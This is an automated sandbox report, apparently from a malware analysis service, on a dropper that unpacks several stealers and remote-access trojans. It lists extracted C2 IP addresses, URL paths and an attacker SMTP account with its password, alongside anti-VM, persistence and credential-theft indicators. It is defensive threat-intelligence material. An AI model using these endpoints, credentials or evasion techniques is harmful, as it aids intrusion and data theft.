agenttesla | 16930620b3b9166e0ffbd98f5d5b580c9919fd6ccdcc74fb996f53577f508267

max time kernel
190s
max time network
203s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
25-06-2024 11:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4363463463464363463463463.exe
Size

10KB
MD5

2a94f3960c58c6e70826495f76d00b85
SHA1

e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA256

2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
SHA512

fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP

192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Score

10^/10

agenttesla amadey rhadamanthys stealc xworm 0e6740 default discovery evasion execution keylogger persistence rat spyware stealer themida trojan

Malware Config

Extracted

Family

xworm

Version

5.0

64.226.123.178:6098

Mutex

1z0ENxCLSR3XRSre

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

amadey

Version

4.21

Botnet

0e6740

http://147.45.47.155

Attributes

install_dir
9217037dc9
install_file
explortu.exe
strings_key
8e894a8a4a3d0da8924003a561cfb244
url_paths
/ku4Nor9/index.php

rc4.plain

Extracted

Family

stealc

Botnet

default

http://85.28.47.4

Attributes

url_path
/920475a59bac849d.php

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
cp8nl.hyperhost.ua
Port:
587
Username:
[email protected]
Password:
vqpF.#QRT234
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Detect Xworm Payload 1 IoCs

Processes:

resource yara_rule

behavioral1/memory/2624-29-0x0000000000400000-0x0000000000436000-memory.dmp family_xworm
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

ghjkl.exezxcvb.exe

description pid process target process

PID 6956 created 2408 6956 ghjkl.exe sihost.exe
PID 6152 created 2408 6152 zxcvb.exe sihost.exe
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

resource	yara_rule
behavioral1/memory/2624-29-0x0000000000400000-0x0000000000436000-memory.dmp	family_xworm

description	pid	process	target process
PID 6956 created 2408	6956	ghjkl.exe	sihost.exe
PID 6152 created 2408	6152	zxcvb.exe	sihost.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

55f76d2d42.exe143a41833f.exeexplortu.exeexplortu.exes.exeamadka.exeexplortu.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	55f76d2d42.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	143a41833f.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	amadka.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exePowershell.exepowershell.exepowershell.exe

pid process

6332 powershell.exe
1876 Powershell.exe
7044 powershell.exe
6860 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
.NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

Processes:

resource yara_rule

behavioral1/memory/992-15221-0x0000000000600000-0x0000000000922000-memory.dmp net_reactor

pid	process
6332	powershell.exe
1876	Powershell.exe
7044	powershell.exe
6860	powershell.exe

resource	yara_rule
behavioral1/memory/992-15221-0x0000000000600000-0x0000000000922000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 14 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

explortu.exes.exeexplortu.exe143a41833f.exeexplortu.exeamadka.exe55f76d2d42.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	143a41833f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	143a41833f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	amadka.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	55f76d2d42.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	55f76d2d42.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	amadka.exe

Drops startup file 2 IoCs

Processes:

Powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winxs.exe	Powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winxs.exe	Powershell.exe

Executes dropped EXE 33 IoCs

Processes:

msa.exemsa.exeghjkl.exeFirstZ.exeamadka.exeChr0me.exeexplortu.exe55f76d2d42.exe143a41833f.exenum.exe228.exeexplortu.exeBLueHvffhw.exeghjkl.exeNBYS%20ASM.NET.exeBLueHvffhw.exereakuqnanrkn.exeRent.pifpt.exe%E7%9B%AE%E5%BD%95%E8%A1%A8%E6%A0%BC%E5%90%8D%E5%8D%956001.exenewfile_setup.exezxcvb.exew.exes.exema.exeexplortu.exeFallbackBuffer.exeinte.exeqgtplfgy2.exe.exezxcvb.exe123p.execp.exe

pid	process
5004	msa.exe
2624	msa.exe
5928	ghjkl.exe
5524	FirstZ.exe
196	amadka.exe
5588	Chr0me.exe
5104	explortu.exe
5836	55f76d2d42.exe
4840	143a41833f.exe
5388	num.exe
2168	228.exe
6276	explortu.exe
5228	BLueHvffhw.exe
6956	ghjkl.exe
4824	NBYS%20ASM.NET.exe
1824	BLueHvffhw.exe
6456	reakuqnanrkn.exe
1128	Rent.pif
4452	pt.exe
3152	%E7%9B%AE%E5%BD%95%E8%A1%A8%E6%A0%BC%E5%90%8D%E5%8D%956001.exe
992	newfile_setup.exe
1912	zxcvb.exe
5752	w.exe
6256	s.exe
816	ma.exe
5540	explortu.exe
4224	FallbackBuffer.exe
5412	inte.exe
4312	qgtplfgy2.exe
5932	.exe
6152	zxcvb.exe
3716	123p.exe
6520	cp.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

explortu.exeamadka.exeexplortu.exe55f76d2d42.exe143a41833f.exeexplortu.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Wine	amadka.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Wine	55f76d2d42.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Wine	143a41833f.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Wine	explortu.exe

Loads dropped DLL 2 IoCs

Processes:

num.exe

pid process

5388 num.exe
5388 num.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Themida packer 2 IoCs
Detects Themida, an advanced Windows software protection system.
themida

Processes:

resource yara_rule

behavioral1/memory/6256-20360-0x0000000000130000-0x0000000000A94000-memory.dmp themida
behavioral1/memory/6256-20361-0x0000000000130000-0x0000000000A94000-memory.dmp themida
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
5388	num.exe
5388	num.exe

resource	yara_rule
behavioral1/memory/6256-20360-0x0000000000130000-0x0000000000A94000-memory.dmp	themida
behavioral1/memory/6256-20361-0x0000000000130000-0x0000000000A94000-memory.dmp	themida

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

pt.exe55f76d2d42.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\pt = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Files\\pt.exe "	pt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\RageMP131 = "C:\\Users\\Admin\\AppData\\Local\\RageMP131\\RageMP131.exe"	55f76d2d42.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

s.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA s.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

140 pastebin.com
141 pastebin.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

204 ipinfo.io
205 ipinfo.io
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

4248 powercfg.exe
3232 powercfg.exe
4276 powercfg.exe
6544 powercfg.exe
5896 powercfg.exe
5476 powercfg.exe
3824 powercfg.exe
4892 powercfg.exe
AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.

Processes:

resource yara_rule

behavioral1/memory/4840-7347-0x0000000000EB0000-0x0000000001418000-memory.dmp autoit_exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	s.exe

flow	ioc
140	pastebin.com
141	pastebin.com

flow	ioc
204	ipinfo.io
205	ipinfo.io

pid	process
4248	powercfg.exe
3232	powercfg.exe
4276	powercfg.exe
6544	powercfg.exe
5896	powercfg.exe
5476	powercfg.exe
3824	powercfg.exe
4892	powercfg.exe

resource	yara_rule
behavioral1/memory/4840-7347-0x0000000000EB0000-0x0000000001418000-memory.dmp	autoit_exe

Drops file in System32 directory 4 IoCs

Processes:

FirstZ.exepowershell.exereakuqnanrkn.exe

description	ioc	process
File opened for modification	C:\Windows\system32\MRT.exe	FirstZ.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	reakuqnanrkn.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs

Processes:

amadka.exeexplortu.exe55f76d2d42.exe143a41833f.exenum.exeexplortu.exeexplortu.exes.exe

pid process

196 amadka.exe
5104 explortu.exe
5836 55f76d2d42.exe
4840 143a41833f.exe
5388 num.exe
6276 explortu.exe
5388 num.exe
5388 num.exe
5540 explortu.exe
6256 s.exe

pid	process
196	amadka.exe
5104	explortu.exe
5836	55f76d2d42.exe
4840	143a41833f.exe
5388	num.exe
6276	explortu.exe
5388	num.exe
5388	num.exe
5540	explortu.exe
6256	s.exe

Suspicious use of SetThreadContext 8 IoCs

Processes:

msa.exeghjkl.exeBLueHvffhw.exereakuqnanrkn.exenewfile_setup.exezxcvb.exeqgtplfgy2.exe

description	pid	process	target process
PID 5004 set thread context of 2624	5004	msa.exe	msa.exe
PID 5928 set thread context of 6956	5928	ghjkl.exe	ghjkl.exe
PID 5228 set thread context of 1824	5228	BLueHvffhw.exe	BLueHvffhw.exe
PID 6456 set thread context of 5972	6456	reakuqnanrkn.exe	conhost.exe
PID 6456 set thread context of 5144	6456	reakuqnanrkn.exe	explorer.exe
PID 992 set thread context of 1372	992	newfile_setup.exe	MSBuild.exe
PID 1912 set thread context of 6152	1912	zxcvb.exe	zxcvb.exe
PID 4312 set thread context of 2912	4312	qgtplfgy2.exe	RegSvcs.exe

Drops file in Windows directory 1 IoCs

Processes:

amadka.exe

description ioc process

File created C:\Windows\Tasks\explortu.job amadka.exe
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4884 sc.exe
792 sc.exe
596 sc.exe
5700 sc.exe
5748 sc.exe
3220 sc.exe
3244 sc.exe
7008 sc.exe
2148 sc.exe
1788 sc.exe
6236 sc.exe
5396 sc.exe
1864 sc.exe
3900 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\Tasks\explortu.job	amadka.exe

pid	process
4884	sc.exe
792	sc.exe
596	sc.exe
5700	sc.exe
5748	sc.exe
3220	sc.exe
3244	sc.exe
7008	sc.exe
2148	sc.exe
1788	sc.exe
6236	sc.exe
5396	sc.exe
1864	sc.exe
3900	sc.exe

Program crash 8 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
6020	5412	WerFault.exe	inte.exe
5696	5412	WerFault.exe	inte.exe
6688	5412	WerFault.exe	inte.exe
6096	5412	WerFault.exe	inte.exe
6856	5412	WerFault.exe	inte.exe
6092	5412	WerFault.exe	inte.exe
832	5412	WerFault.exe	inte.exe
6176	5412	WerFault.exe	inte.exe

NSIS installer 2 IoCs
installer

Processes:

resource yara_rule

C:\Users\Admin\AppData\Local\Temp\Files\228.exe nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\Files\228.exe nsis_installer_2

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\228.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\Files\228.exe	nsis_installer_2

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

firefox.exenum.exefirefox.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	num.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	num.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

3060 timeout.exe
Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exe

pid process

2428 tasklist.exe
5692 tasklist.exe
6000 tasklist.exe

pid	process
3060	timeout.exe

pid	process
2428	tasklist.exe
5692	tasklist.exe
6000	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4704 taskkill.exe

pid	process
4704	taskkill.exe

Modifies data under HKEY_USERS 53 IoCs

Processes:

powershell.exechrome.exeexplorer.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133637883701399628"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe

Modifies registry class 1 IoCs

Processes:

firefox.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings firefox.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

6560 PING.EXE
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

5540 schtasks.exe
2360 schtasks.exe
4168 schtasks.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings	firefox.exe

pid	process
6560	PING.EXE

pid	process
5540	schtasks.exe
2360	schtasks.exe
4168	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Powershell.exeamadka.exeexplortu.exeFirstZ.exepowershell.exe55f76d2d42.exe143a41833f.exeexplortu.exechrome.exenum.exeghjkl.exeopenwith.exereakuqnanrkn.exepowershell.exeexplorer.exe

pid	process
1876	Powershell.exe
1876	Powershell.exe
1876	Powershell.exe
1876	Powershell.exe
196	amadka.exe
196	amadka.exe
5104	explortu.exe
5104	explortu.exe
5524	FirstZ.exe
6860	powershell.exe
6860	powershell.exe
5836	55f76d2d42.exe
5836	55f76d2d42.exe
4840	143a41833f.exe
4840	143a41833f.exe
6860	powershell.exe
6860	powershell.exe
6276	explortu.exe
6276	explortu.exe
6920	chrome.exe
6920	chrome.exe
5388	num.exe
5388	num.exe
6956	ghjkl.exe
6956	ghjkl.exe
6076	openwith.exe
6076	openwith.exe
6076	openwith.exe
6076	openwith.exe
5524	FirstZ.exe
5524	FirstZ.exe
5524	FirstZ.exe
5388	num.exe
5388	num.exe
5524	FirstZ.exe
5524	FirstZ.exe
5524	FirstZ.exe
5524	FirstZ.exe
5524	FirstZ.exe
5524	FirstZ.exe
5524	FirstZ.exe
5524	FirstZ.exe
5524	FirstZ.exe
5524	FirstZ.exe
5524	FirstZ.exe
6456	reakuqnanrkn.exe
7044	powershell.exe
7044	powershell.exe
7044	powershell.exe
7044	powershell.exe
6456	reakuqnanrkn.exe
6456	reakuqnanrkn.exe
6456	reakuqnanrkn.exe
6456	reakuqnanrkn.exe
6456	reakuqnanrkn.exe
6456	reakuqnanrkn.exe
6456	reakuqnanrkn.exe
6456	reakuqnanrkn.exe
6456	reakuqnanrkn.exe
6456	reakuqnanrkn.exe
6456	reakuqnanrkn.exe
6456	reakuqnanrkn.exe
5144	explorer.exe
5144	explorer.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

qgtplfgy2.exe

pid process

4312 qgtplfgy2.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

Processes:

chrome.exe

pid process

6920 chrome.exe
6920 chrome.exe
6920 chrome.exe

pid	process
4312	qgtplfgy2.exe

pid	process
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

4363463463464363463463463.exePowershell.exefirefox.exemsa.exeghjkl.exeChr0me.exepowershell.exeBLueHvffhw.exechrome.exe

description	pid	process
Token: SeDebugPrivilege	344	4363463463464363463463463.exe
Token: SeDebugPrivilege	1876	Powershell.exe
Token: SeDebugPrivilege	2104	firefox.exe
Token: SeDebugPrivilege	2104	firefox.exe
Token: SeDebugPrivilege	2624	msa.exe
Token: SeDebugPrivilege	5928	ghjkl.exe
Token: SeDebugPrivilege	5588	Chr0me.exe
Token: SeDebugPrivilege	6860	powershell.exe
Token: SeIncreaseQuotaPrivilege	6860	powershell.exe
Token: SeSecurityPrivilege	6860	powershell.exe
Token: SeTakeOwnershipPrivilege	6860	powershell.exe
Token: SeLoadDriverPrivilege	6860	powershell.exe
Token: SeSystemProfilePrivilege	6860	powershell.exe
Token: SeSystemtimePrivilege	6860	powershell.exe
Token: SeProfSingleProcessPrivilege	6860	powershell.exe
Token: SeIncBasePriorityPrivilege	6860	powershell.exe
Token: SeCreatePagefilePrivilege	6860	powershell.exe
Token: SeBackupPrivilege	6860	powershell.exe
Token: SeRestorePrivilege	6860	powershell.exe
Token: SeShutdownPrivilege	6860	powershell.exe
Token: SeDebugPrivilege	6860	powershell.exe
Token: SeSystemEnvironmentPrivilege	6860	powershell.exe
